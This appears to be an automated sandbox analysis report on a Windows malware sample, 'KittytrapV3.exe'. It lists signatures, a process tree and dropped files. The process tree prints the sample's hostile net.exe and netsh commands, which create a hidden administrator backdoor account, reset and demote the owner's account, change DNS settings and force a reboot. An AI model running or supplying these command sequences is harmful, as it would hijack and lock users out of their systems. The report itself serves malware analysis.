Resubmissions

02/08/2026, 20:53

260802-zpsslsff23

02/08/2026, 20:32

260802-zbk6lsfd559

02/08/2026, 20:08

260802-ywqq6a1dlf9

Analysis

  • user interaction
    yes
  • max time kernel
    8s
  • max time network
    27s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 20:32

Errors

Reason
Machine shutdown

General

  • Target
    KittytrapV3.exe
  • Size 95.7MB
  • Sample260802-zbk6lsfd55
  • SHA256 8531e82a9d4ca8a0f08d678b680695292585ef8fcfd334850601ab1a628a34a0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Loads dropped DLL 14 IoCs
  • Modifies visibility of existing users in the login screen 1 TTPs 1 IoCs

    A user account was hidden or made visible on the Windows login screen through a registry modification.

  • Unexpected DNS network traffic destination 4 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies WinLogon 2 TTPs 4 IoCs
  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 11 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Modifies Control Panel 2 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • System policy modification 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\KittytrapV3.exe
    "C:\Users\Admin\AppData\Local\Temp\KittytrapV3.exe"
    1⤵
    • Loads dropped DLL
    • Modifies visibility of existing users in the login screen
    • Modifies WinLogon
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4888
    • C:\Program Files\Windows Media Player\wmplayer.exe
      "C:\Program Files\Windows Media Player\wmplayer.exe" /fullscreen "C:\Users\Admin\AppData\Local\Temp\intro.mp4"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1748
      • C:\Windows\System32\unregmp2.exe
        "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
        3⤵
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        PID:3008
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c net user KittyOwner /add
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5104
      • C:\Windows\system32\net.exe
        net user KittyOwner /add
        3⤵
        • Creates a new local user account
        • Suspicious use of WriteProcessMemory
        PID:4296
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user KittyOwner /add
          4⤵
          • Creates a new local user account
          PID:2000
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c net user KittyOwner t5YYkcmJSXpiXHp5
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4472
      • C:\Windows\system32\net.exe
        net user KittyOwner t5YYkcmJSXpiXHp5
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6052
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user KittyOwner t5YYkcmJSXpiXHp5
          4⤵
            PID:2504
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net localgroup "Administrators" KittyOwner /add
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1304
        • C:\Windows\system32\net.exe
          net localgroup "Administrators" KittyOwner /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4196
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup "Administrators" KittyOwner /add
            4⤵
              PID:5692
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user "Admin" 123
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3416
          • C:\Windows\system32\net.exe
            net user "Admin" 123
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2840
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user "Admin" 123
              4⤵
                PID:628
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user "Admin" /passwordchg:yes /expires:never
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1840
            • C:\Windows\system32\net.exe
              net user "Admin" /passwordchg:yes /expires:never
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3948
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user "Admin" /passwordchg:yes /expires:never
                4⤵
                  PID:4852
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user "Admin" /active:yes
              2⤵
              • Executes a command shell one-liner
              PID:728
              • C:\Windows\system32\net.exe
                net user "Admin" /active:yes
                3⤵
                  PID:3788
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 user "Admin" /active:yes
                    4⤵
                      PID:6076
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c net localgroup "Administrators" "Admin" /delete
                  2⤵
                  • Executes a command shell one-liner
                  PID:6120
                  • C:\Windows\system32\net.exe
                    net localgroup "Administrators" "Admin" /delete
                    3⤵
                      PID:5088
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 localgroup "Administrators" "Admin" /delete
                        4⤵
                          PID:4828
                    • C:\Windows\SYSTEM32\cmd.exe
                      "cmd.exe" /c net localgroup "Users" "Admin" /add
                      2⤵
                      • Executes a command shell one-liner
                      PID:3280
                      • C:\Windows\system32\net.exe
                        net localgroup "Users" "Admin" /add
                        3⤵
                          PID:4304
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 localgroup "Users" "Admin" /add
                            4⤵
                              PID:1820
                        • C:\Windows\SYSTEM32\cmd.exe
                          "cmd.exe" /c netsh interface ip set dns name=Ethernet source=static addr=1.1.1.3
                          2⤵
                          • Executes a command shell one-liner
                          PID:3176
                          • C:\Windows\system32\netsh.exe
                            netsh interface ip set dns name=Ethernet source=static addr=1.1.1.3
                            3⤵
                              PID:1600
                          • C:\Windows\SYSTEM32\cmd.exe
                            "cmd.exe" /c netsh interface ipv6 set dns name=Ethernet source=static addr=2606:4700:4700::1113
                            2⤵
                            • Executes a command shell one-liner
                            PID:3472
                            • C:\Windows\system32\netsh.exe
                              netsh interface ipv6 set dns name=Ethernet source=static addr=2606:4700:4700::1113
                              3⤵
                                PID:5612
                            • C:\Windows\SYSTEM32\cmd.exe
                              "cmd.exe" /c shutdown /r /t 0 /f
                              2⤵
                              • Executes a command shell one-liner
                              PID:3212
                              • C:\Windows\system32\shutdown.exe
                                shutdown /r /t 0 /f
                                3⤵
                                  PID:4944
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
                              1⤵
                              • Drops file in Windows directory
                              PID:1036
                            • C:\Windows\system32\LogonUI.exe
                              "LogonUI.exe" /flags:0x4 /state0:0xa3a3c055 /state1:0x41c64e6d
                              1⤵
                                PID:2164
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k CameraMonitor
                                1⤵
                                  PID:1248

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      CurrentDatabase_400.wmdb

                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                                      • Size 512KB
                                      • SHA256 6df20f2d6c97460231649de017db31a4ab523e5f4949213239955634132ad4ac
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      CurrentDatabase_400.wmdb

                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                                      • Size 1024KB
                                      • SHA256 9bdb3d966fccc48caf36e20cea0094411c993766ce4276adf5d56c0a91dcc0bf
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      WMSDKNS.DTD

                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.DTD
                                      • Size 498B
                                      • SHA256 644fbcdc20086e16d57f31c5bad98be68d02b1c061938d2f5f91cbe88c871fbf
                                      • MD5 SHA1 SHA512 TLSH

                                      WMSDKNS.XML

                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
                                      • Size 9KB
                                      • SHA256 23dbf7014e99e93af5f2760f18ee1370274f06a453145c8d539b66d798dad131
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      Kittytrap.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\Kittytrap.dll
                                      • Size 25.1MB
                                      • SHA256 3193e475acd232716cae86ae9e731ca3f50743c43618629e605d7f669a312ff1
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      Microsoft.Win32.Registry.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\Microsoft.Win32.Registry.dll
                                      • Size 114KB
                                      • SHA256 31f5a1cb2046a26c7be2e3a0a18770d8445f0c9d7213ed7365a8403fcca77ab5
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Collections.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Collections.dll
                                      • Size 290KB
                                      • SHA256 11de530ddce2c99a0be5fcefa0e040062860cd41824834f42e06761a949af957
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.ComponentModel.Primitives.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.ComponentModel.Primitives.dll
                                      • Size 78KB
                                      • SHA256 85485dd7639c9449b7d90e305e66612bcd46d14bfb2c216eb6b5c1572ddec1c4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Diagnostics.Process.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Diagnostics.Process.dll
                                      • Size 322KB
                                      • SHA256 786e7825067b48fd2cb9e10b1c971f547a0e83814a1a9b7951b8b64ca1e0b808
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Linq.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Linq.dll
                                      • Size 682KB
                                      • SHA256 5e36874e08bb3579aba965097ac9d3b2462ac5d631e8b095ead53289b10074e8
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Memory.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Memory.dll
                                      • Size 158KB
                                      • SHA256 a8e1263bfb450d029562302f3784fd91106d8c67f28008a5104faf91503bba3e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Net.NetworkInformation.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Net.NetworkInformation.dll
                                      • Size 154KB
                                      • SHA256 8a0e7156004e255b7f94d397bfb3f646c3fd0f8c3a286d3f7005ef49da453750
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Net.Primitives.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Net.Primitives.dll
                                      • Size 206KB
                                      • SHA256 92639fa57d6ea7bbcbd47f5d108a615cafc75929f5dddda25ceae33db60e959c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Private.CoreLib.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Private.CoreLib.dll
                                      • Size 15.3MB
                                      • SHA256 bb9a91b896447b666487d7c6538d0e1a79dbed3604ed913315a59a7c0ec6e7c6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Private.Xml.Linq.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Private.Xml.Linq.dll
                                      • Size 382KB
                                      • SHA256 c028f975e4c4487a6266efe93106b17ed0e1020a1ef802efb2c971a7cabb2ad1
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Private.Xml.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Private.Xml.dll
                                      • Size 7.4MB
                                      • SHA256 9380bd61bfb15a0066cbf5c10f9a50729c8020d72c84a8eb37fb0074c582b392
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Runtime.InteropServices.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Runtime.InteropServices.dll
                                      • Size 110KB
                                      • SHA256 500ba5ed075420e8d6857bf38c79708a062f855d1ce87d505b3f1df9357806c6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Security.Claims.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Security.Claims.dll
                                      • Size 98KB
                                      • SHA256 a57dc1dfd3d2cb774e517e826c05d3e81098d09cee868de4104cf6f1a8a7c4c5
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Security.Cryptography.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Security.Cryptography.dll
                                      • Size 2.4MB
                                      • SHA256 b11f291573c6dbd6b3d1cadcd0e7a4f7eced94ff009e4061981d91f1315f721a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Security.Principal.Windows.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Security.Principal.Windows.dll
                                      • Size 174KB
                                      • SHA256 972a50bb0fb2569e1b77c20465ce8783fc53dba9c2132a33a749ef72977a4c23
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      System.Threading.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Threading.dll
                                      • Size 82KB
                                      • SHA256 7175ac06b5908412692d2c2e124cb79f58aaee61ade19bb81118d14a92bb7694
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      intro.mp4

                                      • Path C:\Users\Admin\AppData\Local\Temp\intro.mp4
                                      • Size 19.4MB
                                      • SHA256 c4ff48a58f4c30d7c69d8e8f4271dda1a9738c452836c0687f56e3d185f44b22
                                      • MD5 SHA1 SHA512 SSDEEP TLSH